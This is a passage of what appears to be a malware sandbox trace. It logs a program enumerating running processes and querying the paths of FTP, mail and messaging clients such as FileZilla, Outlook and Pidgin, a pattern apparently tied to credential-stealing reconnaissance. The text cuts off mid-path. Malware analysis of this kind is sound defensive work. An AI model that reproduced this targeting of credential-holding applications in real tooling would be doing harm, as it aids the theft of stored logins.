wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files\\Windows Sidebar\\natural_reach_decide.exe" | out: _Dest="C:\\Program Files\\Windows Sidebar\\natural_reach_decide.exe") returned="C:\\Program Files\\Windows Sidebar\\natural_reach_decide.exe" [0245.181] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.181] CloseHandle (hObject=0x100) returned 1 [0245.181] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="another great.exe")) returned 1 [0245.182] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa4c) returned 0x100 [0245.182] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Reference Assemblies\\another great.exe" (normalized: "c:\\program files (x86)\\reference assemblies\\another great.exe")) returned 0x3d [0245.182] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Reference Assemblies\\another great.exe" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\another great.exe") returned="C:\\Program Files (x86)\\Reference Assemblies\\another great.exe" [0245.182] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.182] CloseHandle (hObject=0x100) returned 1 [0245.182] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="bill order.exe")) returned 1 [0245.183] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa58) returned 0x100 [0245.183] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Windows Sidebar\\bill order.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\bill order.exe")) returned 0x35 [0245.183] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Windows Sidebar\\bill order.exe" | out: _Dest="C:\\Program Files (x86)\\Windows Sidebar\\bill order.exe") returned="C:\\Program Files (x86)\\Windows Sidebar\\bill order.exe" [0245.183] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.183] CloseHandle (hObject=0x100) returned 1 [0245.183] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="large price.exe")) returned 1 [0245.184] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa64) returned 0x100 [0245.184] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Reference Assemblies\\large price.exe" (normalized: "c:\\program files\\reference assemblies\\large price.exe")) returned 0x35 [0245.184] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files\\Reference Assemblies\\large price.exe" | out: _Dest="C:\\Program Files\\Reference Assemblies\\large price.exe") returned="C:\\Program Files\\Reference Assemblies\\large price.exe" [0245.184] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.184] CloseHandle (hObject=0x100) returned 1 [0245.184] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="senior.exe")) returned 1 [0245.185] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa6c) returned 0x100 [0245.185] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Microsoft.NET\\senior.exe" (normalized: "c:\\program files (x86)\\microsoft.net\\senior.exe")) returned 0x2f [0245.186] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Microsoft.NET\\senior.exe" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\senior.exe") returned="C:\\Program Files (x86)\\Microsoft.NET\\senior.exe" [0245.186] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.186] CloseHandle (hObject=0x100) returned 1 [0245.186] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x768, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0245.186] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x768) returned 0x100 [0245.186] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Microsoft.NET\\barca.exe" (normalized: "c:\\program files (x86)\\microsoft.net\\barca.exe")) returned 0x2e [0245.187] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Microsoft.NET\\barca.exe" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\barca.exe") returned="C:\\Program Files (x86)\\Microsoft.NET\\barca.exe" [0245.187] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.187] CloseHandle (hObject=0x100) returned 1 [0245.187] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0245.188] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x89c) returned 0x100 [0245.188] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\WindowsPowerShell\\bitkinex.exe" (normalized: "c:\\program files (x86)\\windowspowershell\\bitkinex.exe")) returned 0x35 [0245.188] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\WindowsPowerShell\\bitkinex.exe" | out: _Dest="C:\\Program Files (x86)\\WindowsPowerShell\\bitkinex.exe") returned="C:\\Program Files (x86)\\WindowsPowerShell\\bitkinex.exe" [0245.188] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.188] CloseHandle (hObject=0x100) returned 1 [0245.188] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0245.189] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8b8) returned 0x100 [0245.189] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Reference Assemblies\\coreftp.exe" (normalized: "c:\\program files (x86)\\reference assemblies\\coreftp.exe")) returned 0x37 [0245.189] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Reference Assemblies\\coreftp.exe" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\coreftp.exe") returned="C:\\Program Files (x86)\\Reference Assemblies\\coreftp.exe" [0245.189] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.191] CloseHandle (hObject=0x100) returned 1 [0245.191] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0245.191] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x804) returned 0x100 [0245.192] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Windows Photo Viewer\\far.exe" (normalized: "c:\\program files\\windows photo viewer\\far.exe")) returned 0x2d [0245.192] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files\\Windows Photo Viewer\\far.exe" | out: _Dest="C:\\Program Files\\Windows Photo Viewer\\far.exe") returned="C:\\Program Files\\Windows Photo Viewer\\far.exe" [0245.192] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.192] CloseHandle (hObject=0x100) returned 1 [0245.192] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0245.193] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x64) returned 0x100 [0245.193] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Windows NT\\filezilla.exe" (normalized: "c:\\program files\\windows nt\\filezilla.exe")) returned 0x29 [0245.193] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files\\Windows NT\\filezilla.exe" | out: _Dest="C:\\Program Files\\Windows NT\\filezilla.exe") returned="C:\\Program Files\\Windows NT\\filezilla.exe" [0245.193] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.193] CloseHandle (hObject=0x100) returned 1 [0245.193] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0245.194] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x5b0) returned 0x100 [0245.194] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Common Files\\flashfxp.exe" (normalized: "c:\\program files\\common files\\flashfxp.exe")) returned 0x2a [0245.194] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files\\Common Files\\flashfxp.exe" | out: _Dest="C:\\Program Files\\Common Files\\flashfxp.exe") returned="C:\\Program Files\\Common Files\\flashfxp.exe" [0245.195] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.195] CloseHandle (hObject=0x100) returned 1 [0245.195] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0245.195] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc4) returned 0x100 [0245.195] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Windows NT\\fling.exe" (normalized: "c:\\program files (x86)\\windows nt\\fling.exe")) returned 0x2b [0245.196] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Windows NT\\fling.exe" | out: _Dest="C:\\Program Files (x86)\\Windows NT\\fling.exe") returned="C:\\Program Files (x86)\\Windows NT\\fling.exe" [0245.196] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.196] CloseHandle (hObject=0x100) returned 1 [0245.196] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0245.196] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x62c) returned 0x100 [0245.196] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Windows NT\\foxmailincmail.exe" (normalized: "c:\\program files\\windows nt\\foxmailincmail.exe")) returned 0x2e [0245.197] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files\\Windows NT\\foxmailincmail.exe" | out: _Dest="C:\\Program Files\\Windows NT\\foxmailincmail.exe") returned="C:\\Program Files\\Windows NT\\foxmailincmail.exe" [0245.197] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.197] CloseHandle (hObject=0x100) returned 1 [0245.197] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x858, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0245.198] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x858) returned 0x100 [0245.198] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Microsoft OneDrive\\gmailnotifierpro.exe" (normalized: "c:\\program files (x86)\\microsoft onedrive\\gmailnotifierpro.exe")) returned 0x3e [0245.198] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Microsoft OneDrive\\gmailnotifierpro.exe" | out: _Dest="C:\\Program Files (x86)\\Microsoft OneDrive\\gmailnotifierpro.exe") returned="C:\\Program Files (x86)\\Microsoft OneDrive\\gmailnotifierpro.exe" [0245.198] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.198] CloseHandle (hObject=0x100) returned 1 [0245.198] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0245.199] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8bc) returned 0x100 [0245.199] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Microsoft.NET\\icq.exe" (normalized: "c:\\program files (x86)\\microsoft.net\\icq.exe")) returned 0x2c [0245.199] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Microsoft.NET\\icq.exe" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\icq.exe") returned="C:\\Program Files (x86)\\Microsoft.NET\\icq.exe" [0245.199] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.199] CloseHandle (hObject=0x100) returned 1 [0245.199] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0245.200] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8e0) returned 0x100 [0245.200] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Windows Journal\\leechftp.exe" (normalized: "c:\\program files\\windows journal\\leechftp.exe")) returned 0x2d [0245.201] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files\\Windows Journal\\leechftp.exe" | out: _Dest="C:\\Program Files\\Windows Journal\\leechftp.exe") returned="C:\\Program Files\\Windows Journal\\leechftp.exe" [0245.201] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.201] CloseHandle (hObject=0x100) returned 1 [0245.201] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0245.201] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x918) returned 0x100 [0245.202] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Windows Mail\\ncftp.exe" (normalized: "c:\\program files (x86)\\windows mail\\ncftp.exe")) returned 0x2d [0245.202] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Windows Mail\\ncftp.exe" | out: _Dest="C:\\Program Files (x86)\\Windows Mail\\ncftp.exe") returned="C:\\Program Files (x86)\\Windows Mail\\ncftp.exe" [0245.202] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.202] CloseHandle (hObject=0x100) returned 1 [0245.202] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0245.203] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x92c) returned 0x100 [0245.203] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Common Files\\notepad.exe" (normalized: "c:\\program files\\common files\\notepad.exe")) returned 0x29 [0245.203] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files\\Common Files\\notepad.exe" | out: _Dest="C:\\Program Files\\Common Files\\notepad.exe") returned="C:\\Program Files\\Common Files\\notepad.exe" [0245.203] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.203] CloseHandle (hObject=0x100) returned 1 [0245.204] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0245.204] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x96c) returned 0x100 [0245.205] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Windows NT\\operamail.exe" (normalized: "c:\\program files\\windows nt\\operamail.exe")) returned 0x29 [0245.252] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files\\Windows NT\\operamail.exe" | out: _Dest="C:\\Program Files\\Windows NT\\operamail.exe") returned="C:\\Program Files\\Windows NT\\operamail.exe" [0245.252] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.252] CloseHandle (hObject=0x100) returned 1 [0245.252] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0245.253] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x988) returned 0x100 [0245.253] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Reference Assemblies\\outlook.exe" (normalized: "c:\\program files (x86)\\reference assemblies\\outlook.exe")) returned 0x37 [0245.254] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Reference Assemblies\\outlook.exe" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\outlook.exe") returned="C:\\Program Files (x86)\\Reference Assemblies\\outlook.exe" [0245.254] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.254] CloseHandle (hObject=0x100) returned 1 [0245.254] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0245.255] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x990) returned 0x100 [0245.255] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Uninstall Information\\pidgin.exe" (normalized: "c:\\program files (x86)\\uninstall information\\pidgin.exe")) returned 0x37 [0245.255] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Uninstall Information\\pidgin.exe" | out: _Dest="C:\\Program Files (x86)\\Uninstall Information\\pidgin.exe") returned="C:\\Program Files (x86)\\Uninstall Information\\pidgin.exe" [0245.255] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.255] CloseHandle (hObject=0x100) returned 1 [0245.255] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0245.256] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x998) returned 0x100 [0245.256] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Windows Mail\\scriptftp.exe" (normalized: "c:\\program files (x86)\\windows mail\\scriptftp.exe")) returned 0x31 [0245.257] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Windows Mail\\scriptftp.exe" | out: _Dest="C:\\Program Files (x86)\\Windows Mail\\scriptftp.exe") returned="C:\\Program Files (x86)\\Windows Mail\\scriptftp.exe" [0245.257] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.257] CloseHandle (hObject=0x100) returned 1 [0245.257] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0245.258] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9a0) returned 0x100 [0245.258] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Reference Assemblies\\skype.exe" (normalized: "c:\\program files (x86)\\reference assemblies\\skype.exe")) returned 0x35 [0245.258] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Reference Assemblies\\skype.exe" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\skype.exe") returned="C:\\Program Files (x86)\\Reference Assemblies\\skype.exe" [0245.258] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.259] CloseHandle (hObject=0x100) returned 1 [0245.259] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0245.260] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9a8) returned 0x100 [0245.260] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files 